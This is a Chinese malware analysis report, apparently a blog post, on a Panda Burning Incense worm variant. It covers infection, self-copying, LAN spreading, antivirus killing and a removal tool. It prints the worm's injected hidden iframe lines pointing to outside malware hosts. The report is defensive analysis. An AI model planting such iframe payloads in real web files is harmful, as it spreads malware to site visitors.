熊猫烧香变种病毒分析

熊猫烧香变种病毒分析分析报告

样本名 2_dump_SCY.exe(熊猫烧香)
作者 yusakul
时间 2018-07-13
平台 Win7-32

1.样本概况

1.1 样本信息

病毒名称 2_dump_SCY.exe
所属家族 熊猫烧香
样本名称 0c15096fb3bc30800f7af002c25953162b799391300a62b8507fe8e4f6532768
样本类型 PE
样本大小 98816 bytes
MD5值 b8f8e75c9e77743a61bbea9ccbcffd5d
SHA1值 188fc8fc580c0ea4bf8a8900a3d36471823c8923
CRC32 E63D45D3
SHA256 0c15096fb3bc30800f7af002c25953162b799391300a62b8507fe8e4f6532768
SSDeep 3072:apAja0pSLwYqK6hVZ7N4bdq4a53YKCOTpc:a2ja0pShqK65ZOq4QYK1m

1.2 病毒行为

设置注册表实现自启动
修改资源管理器(explorer)的文件夹的隐藏属性
将进程的内存属性修改为可执行或可写
想系统服务发送控制码
删除服务
对指定运行的进程感兴趣

1.2 测试环境及工具

工具 备注
VMware® Workstation 14 Pro 分析环境win7_x32
火绒剑 行为监控
IDA pro 7.0 静态分析
Ollydbg 动态分析

1.3 分析目标

1.3.1 查看PE文件

1. kernel32.dll文件导入函数

可以看出导入的这些函数都是进程、文件相关的API函数。

2. Advapi32.dll

Advapi32.dll是一个高级API应用程序接口。包括了函数与对象的安全性,注册表的操控以及事件日志相关的API函数。

这些函数主要包括三类:注册表相关函数,进程权限修改函数,服务相关函数。

3. Mpr.dll

Mpr.dll是windows操作系统网络通信相关模块。

Wsock.dll windows socket相关API接口。

WNetAddConnection2A创建一个网络资源的链接。

URLDownloadToFileA从指定的URL读取内容写入到文件中。

由上述的导入表分析可知,该病毒程序的主要功能包括:文件读写、注册表修改、进程权限修改,网络链接,URL等。

1.3.2 火绒剑监控 - 文件操作

1. 创建自我备份在根目录

2. 创建并释放隐藏文件Desktop_.ini

3. 自我复制

1.3.2火绒剑监控 - 注册表操作

1. 无效“显示所有文件和文件夹”功能

2. 删除杀毒软件自启项

3. 修改文件

使用notepad++查看被修改的文件,被新添加了一行:

<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>

将该网址提交微步在线分析如下

1.3.3 火绒剑监控 - 网络操作

1. 扫描并尝试连接局域网脑内139、445端口

因为本次分析是在虚拟机封闭分析,所以没有连接其他主机,猜测此病毒连接成功后,会向其他主机发送自己,达到传播目的。

2. 尝试连接外网IP,并发送数据包

数据内容如下:

1.3.4火绒剑监控 - 进程操作

1. 遍历系统进程并启动自释放文件

2.具体行为分析

2.1 主要行为

2.1.1 恶意程序对用户造成的危害

1. 替换程序图标

2. 隐藏文件

3. 有目录创建Desktop_.ini文件,内容为当前时间(2018-7-11)。

  1. 大量用户软件被修改,无法正常运行

2.2 恶意代码分析

2.2.1 恶意代码树结构图

2.2.1 恶意代码IDA结构图

两次对比字符串是否相等,不相等则退出, 验证完成后有三个主要的恶意行为函数

2.2.2 主要功能函数sub_40819C – 复制

此函数主要功能为自我复制到系统目录并执行复制体。

1.查找系统目录下是否存在Desktop.ini文件,有则删除

2.检测病毒spc0lsv.exe

病毒会通过检查文件路径、病毒感染标志来确定进当前病毒属于以下三种情况的哪一种情况。

分别进程本身属于原始病毒文件、被感染的可执行文件、以及伪装目标进程三种情况。

(1)原始病毒文件

拷贝自身到
~/system32/driver/目录,重命名为spc0lsv.exe并运行,然后结束当前进程。

(2)当前程序时是被感染的可执行文件

1)在当前目录释放被感染的原始文件

2)删除系统目录下spo0lav

3)将创建病毒程序拷贝到系统目录,并执行。

(3)当前运行路径为系统根目录,说明当前是在伪装成系统程序状态下运行的,没有敏感操作。

2.2.3 主要功能函数sub_40D18C – 感染

此函数为感染传播函数。

该函数由3个主要函数,第一个执行感染功能,第二个实现自我复制,第三个局域网传播自身。

感染文件线程

(1)遍历文件夹,判断是否为文件夹,判断目录下是否存在Desktop_.ini文件。

判断是否存在Desktop_.ini

(2)若目录下存在Desktop_.ini,获取当前系统时间,对比Desktop_.ini中的时间,是同一天则表示此目录已被感染,跳过此目录。

若不同则在此目录下生成新的Desktop_.ini,写入本地时间。

(3)删除GHO备份

(4)感染PE文件 – 感染方式1

将病毒内容直接覆盖到要感染程序,感染目标文件后缀类型有:EXE、SCR、PIF、COM。

f_HackWay1:

(5)感染PE文件 – 感染方式2

网页感染:感染目标文件后缀类型有:htm, html, asp, php, jsp, aspx。

主要将字符串(<iframe src=http://www.krvkr.com/worm.htm width=0
height=0></iframe>)添加到文件末尾。

f_HackWays:

2. 自我复制 - 时钟周期6s

检索各个磁盘的根目录是否存在setup.exe和autorun.inf文件,存在则删除它们。

将自身复制到 盘符:\setup.exe

遍历磁盘, 创建“盘符:\autorun.inf”文件。

设置setup.exe文件属性为 <系统,隐藏>

设置autorun.inf文件属性为 <系统,隐藏>,同时将setup.exe设置为自启

3. 局域网传播

2.2.4 主要功能函数sub_40D088 – 其他

此函数主要功能为通过修改注册表实现自我保护,连接网站实现自我更新等功能。

该函数中设置了6个时钟周期,定时执行不同的功能。

TimerFunc_1(1s)

(1)提升进程权限

(2)遍历窗口名, 向指定窗口名发送QUIT消息, 并结束指定进程,大多为杀毒防护软件。

(3)扫描进程,如果有检测到以下进程则结束它,下图为部分截图:

(4)修改注册表,设置spo0lsv.exe开机启动,设置文件(夹)隐藏

TimerFunc_2(1200s)

通过URL地址更新

TimerFunc_3(10s)

(1)通过URL地址更新

(2)删除网络共享:net share ipc$ /del 删除ipc$共享

(3)关闭当前时钟

4. TimerFunc_4(6s)

将杀毒软件服务停止,并删除注册表启动项。

TimerFunc_5(10s)

字符串被加密操作过,根据特征猜测可能是网址,似乎是对一些网址做了操作。

TimerFunc_6(180s)

仍然是从某个网址上下载文件,应该不是关键操作。

3.解决方案

3.1 病毒行为

病毒行为1:病毒本身创建了名为“spo01sv.exe”的进程,该进程文件的路径为“C:\WINDOWS\system32\drivers\spo01sv.exe”。

病毒行为2:在注册表KCU\Software\Microsoft\Windows\CurrentVersio

n\Run”中创建“svcshare”,用于在开机时启动位于“C:\WINDOWS\system3

2\drivers\spo0lsv.exe”的病毒程序。

病毒行为3:修改注册表,使得隐藏文件无法通过普通的设置进行显示,该位置为HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Adva

nced\Folder\Hidden\SHOWALL,病毒将CheckedValue的键值设置为了0。

病毒行为4:将自身拷贝到根目录,并命名为“setup.exe”,同时创建“autorun.inf”用于病毒的启动,这两个文件的属性都是“隐藏”。

病毒行为5:在一些目录中创建名为“Desktop_.ini”的隐藏文件。

3.2 杀毒工具编写步骤

3.2.1 终止病毒进程

利用ToolHelpAPI获得快照句柄,而后再利用Process32First和Process32Next枚举当前的进程,枚举的过程当中获取结构体ProcessEntry32这个结构体里面的相关信息(包括进程名和进程ID);

找到目标进程之后,利用OpenProcess获取当前的进程句柄,最后再利用TerminateProcess终止病毒进程.

3.2.2. 删除文件

调用函数Bool DeleteFile (LPCTSTR
lpFilename),把lpFilename设为要指向删除的文件的文件名的指针即可,可以包含具体路径。

3.2.3 修复注册表,删除启动启动项

RegOpenKeyEx()打开目标主键,并返回句柄,然后利用RegSetValueEx进行修改键值,最后可以利用RegSetValueEx来删除键值,最后利用RegCloseKey来进行关闭。

3.2.3 查杀工具链接

我的GitHub·https://github.com/yusakul/PandaKiller

3.2.4 工具截图

猜你喜欢

转载自blog.csdn.net/yusakul/article/details/81203009